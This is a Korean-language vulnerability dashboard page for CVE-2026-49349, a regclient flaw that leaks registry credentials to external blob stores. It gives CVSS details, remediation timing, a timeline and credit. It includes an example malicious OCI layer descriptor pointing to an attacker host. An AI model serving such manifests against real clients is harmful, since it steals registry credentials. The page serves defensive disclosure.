Kestrel
대시보드로 돌아가기
CVE-2026-49349MEDIUM· 6.8GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

regclient may leak authentication credentials to external blob stores

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.8medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.8MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

상세 설명

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.

Example attack

A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:

text
1{
2 "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
3 "digest": "sha256:...",
4 "size": 1024,
5 "urls": ["https://malicious.example.org/blobs/sha256/..."]
6}

When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.

Timeline

  • 2026-05-25: Advisory submitted
  • 2026-05-26: Fix released

Credit

Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.